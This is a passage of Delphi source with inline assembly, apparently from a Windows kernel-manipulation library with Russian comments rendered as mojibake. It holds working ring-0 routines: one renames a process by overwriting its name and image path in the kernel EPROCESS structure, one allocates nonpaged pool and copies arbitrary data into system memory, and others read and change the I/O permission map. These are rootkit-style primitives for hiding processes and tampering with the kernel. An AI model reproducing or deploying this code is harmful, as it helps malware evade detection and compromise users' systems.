Procedure Ring0Call;
asm
push eax
mov eax, [eax + $04]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
pop eax
mov ebx, [eax] //UndocAdr
mov edi, [eax + $04] //pEPROCESS
add edi, [ebx + $0C] //NameOffset
mov esi, eax
add esi, $08
mov ecx, $10
repnz movsb
mov esi, eax
add esi, $18
mov edx, [eax + $04] //pEPROCESS
mov ebp, [eax]
mov ebp, [ebp + $14]
add edx, ebp //@IamgeFileName
mov ebp, eax
mov edx, [edx]
test edx, edx
jz @Done
movzx ecx, word ptr [edx]
test ecx, ecx
jz @Done
mov edi, dword ptr [edx + $04]
add edi, ecx
mov edx, edi
std
mov eax, '\'
shr ecx, 1
repne scasw
or ecx, ecx
jz @Done
add edi, $04
lea esi, [ebp + $18]
movzx ecx, word ptr [ebp + $38]
cld
rep movsw
mov edx, [ebp + $04] //pEPROCESS
mov ebp, [ebp]
mov ebp, [ebp + $14]
add edx, ebp //@IamgeFileName
mov edx, [edx]
mov word ptr [edx], cx
@Done:
ret
@Exit:
pop eax
ret
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
lstrcpyn(Data.NewName, NewName, 16);
StringToWideChar(NewName, @Data.UnicName, 16);
Data.UnicLength := lstrlen(NewName);
CallRing0(@Ring0Call, @Data);
end;
{ Ñìåíà èìåíè ïðîöåññà. }
Procedure ChangeProcessName(ProcessId: dword; NewName: PChar);
var
OldPriority: dword;
pEPROCESS : dword;
begin
OldPriority := GetThreadPriority($FFFFFFFE);
SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL);
pEPROCESS := GetEPROCESSAdr(ProcessId);
ChangeProcessNameEx(pEPROCESS, NewName);
SetThreadPriority($FFFFFFFE, OldPriority);
end;
{
Âûäåëåíèå ó÷àñòêà ïàìÿòè â NonPaged Pool è êîïèðîâàíèå â íåãî äàííûõ.
Mem - àäðåñ ó÷àñòêà ïàìÿòè,
Size - ðàçìåð ó÷àñòêà ïàìÿòè,
Result - àäðåñ ïàìÿòè â SystemSpace
}
function InjectDataToSystemMemory(Mem: pointer; Size: dword): dword;
var
Data: packed record
Mem: pointer;
Size: dword;
Result: dword;
end;
Procedure Ring0Call;
asm
mov ebx, eax
push [eax]
call AdrMmIsValid
test eax, eax
jz @Exit
push [ebx + $04]
push 0
call AdrExAllocPool
mov [ebx + $08], eax
mov edi, eax
mov esi, [ebx]
mov ecx, [ebx + $04]
rep movsb
ret
@Exit:
mov [ebx + $08], 0
ret
end;
begin
Data.Mem := Mem;
Data.Size := Size;
CallRing0(@Ring0Call, @Data);
Result := Data.Result;
end;
{
Îñâîáîæäåíèå âûäåëåííîé ïàìÿòè â SystemSpace.
}
Procedure FreeSystemMemory(Mem: dword);
Procedure Ring0Call;
asm
push eax
call AdrExFreePool
end;
begin
if Mem < $80000000 then Exit;
CallRing0(@Ring0Call, pointer(Mem));
end;
{
Óñòàíîâêà ñèñòåìíîé êàðòû ââîäà - âûâîäà
pMap - àäðåñ áóôåðà ðàçìåðîì $2000 îòêóäà áóäåò âçÿòà êàðòà.
}
Procedure SetIoAccessMap(pMap: pointer);
Procedure Ring0Call;
asm
push eax
push 1
call AdrSetIoAccess
ret
end;
begin
CallRing0(@Ring0Call, pMap);
end;
{
Ïîëó÷åíèå ñèñòåìíîé êàðòû ââîäà - âûâîäà.
pMap - àäðåñ áóôåðà ðàçìåðîì $2000 êóäà áóäåò ñîõðàíåíà êàðòà.
}
Procedure GetIoAccessMap(pMap: pointer);
Procedure Ring0Call;
asm
push eax
push 1
call AdrGetIoAccess
ret
end;
begin
CallRing0(@Ring0Call, pMap);
end;
{ Ðàçðåøåíèå / çàïðêùåíèå èñïîëüçîâàíèÿ êàðòû ââîäà - âûâîäà äëÿ ïðîöåññà. }
Procedure SetIoAccessProcessEx(pEPROCESS: dword; Access: boolean);
var
Data : packed record
pEPROCESS: dword;
Access: dword;
end;
Procedure Ring0Call;
asm
mov ebx, [eax + $04]
push ebx
mov eax, [eax]
push eax
call AdrSetAccProc
ret
end;
begin
Data.pEPROCESS := pEPROCESS;
if Access then Data.Access := 1 else Data.Access := 0;
CallRing0(@Ring0Call, @Data);
end;